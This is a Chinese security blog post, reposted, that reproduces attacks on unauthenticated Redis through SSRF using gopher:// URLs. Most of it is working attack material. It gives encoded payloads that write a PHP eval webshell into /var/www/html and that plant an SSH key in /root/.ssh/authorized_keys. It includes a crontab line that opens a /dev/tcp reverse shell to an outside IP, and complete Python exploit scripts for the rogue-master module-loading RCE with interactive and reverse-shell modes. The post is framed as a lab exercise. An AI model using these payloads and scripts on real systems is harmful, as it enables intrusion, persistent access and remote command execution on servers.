作者:yunying
转载来源:https://www.cnblogs.com/BOHB-yunying/p/12962057.html
SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。
CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD ''
SAVE
这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。
Redis
服务器与客户端通过RESP
(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings
的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
此外,RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)
结束。
这里本地测试下
tcpdump port 6379 -w nopass.pcap
无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程
可以看到
中间还有很多乱码
我们这里先开启redis-server /etc/redis.conf
在执行,意思为将4444端口收到的请求转发给6379端口
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码
每行都是\r结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把\r
转换为%0d%0a
客户端向将命令作为Bulk Strings
的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3
,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3
代表字符串的长度,0d0a
即\r\n
表示结束符;+OK
表示服务端执行成功后返回的字符串
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了opher
协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
当存在ssrf漏洞,并且有回显的时候
test.php
redis常见的SSRF攻击方式大概有这几种:
绝对路径写webshell
写ssh公钥
写contrab计划任务反弹shell
我逐个来尝试复现
利用条件:
1、目标存在web目录
2、已知web绝对路径
3、存在写入权限
构造如下payload:
flushall
set 1 ''
config set dir /var/www/html
config set dbfilename shell.php
save
整理获得如下payload
*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$18\r
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r
这里给出Joychu师傅给出的转换规则
如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。如果前3个字符是
+OK
那么丢弃该行字符串,表示返回的字符串。将
\r
字符串替换成%0d%0a
空白行替换为
%0a
Joychu师傅的转换脚本:
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
再放一个七友师傅写的脚本:
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmdif __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这里我们已经自己手动过滤了一下,用sinensis师傅写的即可
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
本地curl尝试
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
这里也可以用gopherus,直接生成
curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
成功
在ssrf利用的时候将redis命令部分在进行urlencode一次即可(这里我用的是靶机 10003开的是80,10004开的redis的6379)
http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
上面是我用自己生成的phpinfo payload打没有打成功。将gopher的payload再次urlencode一次后,发现能打成功。
http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
对比了一下第一次的payload,除了可能内容上我写的是phpinfo,而gopherus写的是shell
my:
gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
gopherus:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
my:
gopherus:
my:
问题应该出在这两个换行,从我自己的可以看到,payload被一些乱码干扰到。所以gopherus这里换行的目的应该是不让乱码字符干扰payload
像Joychu师傅这里的是58个字符,这里payload前面用三个换行,结束用了四个换行,加上原来的一共61个
而上面gopherus生成的默认都是前两个后两个换行,可以从redis.py源码也能看到
这里在记录下\r\n的东西
Unix系统里,每行结尾只有“<换行>”,即“\n”;Windows系统里面,每行结尾是“<换行><回车>”,即“\n\r”;Mac系统里,每行结尾是“<回车>”。一个直接后果是,Unix/Mac系统下的文件在Windows里打开的话,所有文字会变成一行;而Windows里的文件在Unix/Mac下打开的话,在每行的结尾可能会多出一个^M符号
也就是说,再linux中直接用python脚本调用urlencode一次,默认每行结尾都有\n即%0a,但是RESP协议规定始终以CRLF结尾,即\r\n结尾,因此都会加一个\r,这样就满足了RESP协议的规定。就先写到这了,明儿继续,1点了睡觉~。
为了验证一下,手动修改增加两个换行符%0a,并且增加字符数,发现仍然不行。回头一想既然用我自己构造的payload本地gopher直接打redis是可以打出来的,应该是url编码问题。第一次本地打gopher不是在ssrf利用的时候发现就已经整体urlencode了一遍(不知特殊字符),并且将*等都urlencode了。这里我通过python url全编码尝试。意思就是不需要通过sinensis师傅的转换脚本,我们直接将手动滤出的redis命令通过urllib.quote_plus(测试用urllib.quote即可,_plus会将空格转化为+号)
这里可以发现确实是url编码的问题,再次全编码转后的数据
第一次:
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2418%0D%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
第二次:
%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
第二次:
http://xx.xxx.xxx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如果这样利用的话,不需要这么麻烦,推荐用gopherus生成的payload再urlencode一次即可,或者用七友师傅的脚本生成的payload再次urlencode一次即可在ssrf漏洞中攻击redis绝对路径写shell
在以下条件下,可以利用此方法
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
如果.ssh
目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab
创建该目录
跟上面的写shell方式类似,我先尝试本地利用再利用ssrf漏洞上打exp
我们先本地生成一对密钥
本地的命令如下:
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
socat抓一下redis流量直接过滤出来
*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$565\r
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$11\r
/root/.ssh/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$15\r
authorized_keys\r
*1\r
$4\r
save\r
这里本地可以利用私钥登录尝试,不过这里我没有设置/etc/ssh/sshd_config无口令SSH登陆(即通过客户端公钥认证)
这里用curl本地打一下
还是那个问题,最好还是最前面和最后面加两个换行,不要干扰到我们插入的数据
手动加了两个换行的就是这样的,将数据放在了中间,不要让一些乱码干扰到数据
这里不用SSRF再打了,url编码搞定,基本再encode一次即可
利用条件:权限可写计划任务
这个方法只能
Centos
上使用,Ubuntu上行不通
,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/
权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的在redis以root权限运行时可以写crontab来执行命令反弹shell
这里靶机是ubuntu和kali所以就不实际操作一下了。
命令如下 :
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
redis 4.x/5.x RCE是由LC/BC
战队队员Pavel Toporkov
在zeronights 2018
上提出的基于主从复制的redis rce,演讲的PPT地址为:PPT(纯英文)
能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权
可影响版本范围redis 4.x-5.0.5
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。 redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
建立主从复制,有3种方式:
配置文件写入slaveof
redis-server启动命令后加入 --slaveof
连接到客户端之后执行:slaveof
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作
执行如下:
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380 SLAVEOF命令为redis设置主服务器。
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"
执行一波,我们可以明显看到数据达到了同步的效果.
如果我们想解除主从关系可以执行SLAVEOF NO ONE
PPT中的攻击步骤
SLAVE和MASTER之间的握手机制如下:
#define REPL_STATE_CONNECTING 2 /* 等待和master连接 */ /* --- 握手状态开始 --- */ #define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */ #define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */ #define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */ #define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */ #define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */ #define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */ #define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */ /* --- 握手状态结束 --- */ #define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */
握手后SLAVE将向MASTER发送PSYNC请求同步,一般有三种状态:
FULLRESYNC:表示需要全量复制
CONTINUE:表示可以进行增量同步
ERR:表示主服务器还不支持PSYNC
全量复制到 过程
1.slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?
,offest为-1
2.master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存
3.master把自己的runid和offset发给slave
4.master进行bgsave,生成RDB文件
5.master将写好的RDB文件传输给slave,并将缓冲区内的数据传输给slave
6.slave加载RDB文件和缓冲区数据
并且自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中。
具体攻击流程:
PING 测试连接是否可用
+PONG 告诉slave连接可用
REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
+OK 告诉slave成功接受
REPLCONF 发送REPLCONF capa
+OK 告诉slave成功接受
PSYNC 发送PSYNC
将要攻击的redis服务器设置成我们的slave
SLAVEOF ip port
设置RDB文件
PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用config set dir path
config set dbfilename exp.so
告诉slave使用全量复制并从我们配置的Rouge Server接收module
+FULLRESYNC \r\n$\r\n
其中
无要求,不过长度一般为40,
一般设置为1
两个exp链接:
https://github.com/vulhub/redis-rogue-getshell
https://github.com/n0b0dyCN/redis-rogue-server
也可以参考七友师傅写的exp
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)
#修改一下port,host即可,不过是命令执行模式,上面的exp有反弹shell
上面的一些看完后基本就能理解了,攻击方式就是通过设置恶意的redis服务器,未授权登陆受害redis服务器,将受害redis服务器设置为slave从服务器并且设置RDB文件名,然后恶意redis告诉slave使用全量复并从我们配置的Rouge Server接收module,然后通过发送MODULE MODE命令加载恶意模块
复现docker:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
发现是在return msg.decode('gb18030')出现了多字节编码的问题,百度查了下别人修改的脚本,修改后的exp如下:
#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
"""
def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" "))
def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ")
def info(msg):
print(f"\033[1;32;40m[info]\033[0m {msg}")
def error(msg):
print(f"\033[1;31;40m[err ]\033[0m {msg}")
def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')
offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
print(data)
return data.decode(errors='ignore')
def din(sock, cnt=65535):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
print(decode_command_line(msg))
return decode_command_line(msg)
def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print(f"\033[1;33;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")
def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1])
class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
def send(self, msg):
dout(self._sock, msg)
def recv(self, cnt=65535):
return din(self._sock, cnt)
def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf
def shell_cmd(self, cmd):
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf
class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)
def close(self):
self._sock.close()
def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break
def interact(remote):
info("Interact mode start, enter \"exit\" to quit.")
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
pass
def reverse(remote):
info("Open reverse shell...")
addr = input("Reverse server address: ")
port = input("Reverse server port: ")
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
info("Reverse shell payload sent.")
info(f"Check at {addr}:{port}")
def cleanup(remote):
info("Unload module...")
remote.do("MODULE UNLOAD system")
def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
info("Setting master...")
remote.do(f"SLAVEOF {lhost} {lport}")
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close()
# Operations here
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
if choice.startswith("i"):
interact(remote)
elif choice.startswith("r"):
reverse(remote)
cleanup(remote)
if __name__ == '__main__':
print(BANNER)
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host", metavar="REMOTE_HOST")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379,
metavar="REMOTE_PORT")
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000,
metavar="LOCAL_PORT")
parser.add_option("--exp", dest="exp", type="string",
help="Redis Module to load, default exp.so", default="exp.so",
metavar="EXP_FILE")
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream")
(options, args) = parser.parse_args()
global verbose, payload, exp_mod
verbose = options.verbose
exp_mod = options.exp
payload = open(exp_mod, "rb").read()
if not options.rh or not options.lh:
parser.error("Invalid arguments")
info(f"TARGET {options.rh}:{options.rp}")
info(f"SERVER {options.lh}:{options.lp}")
try:
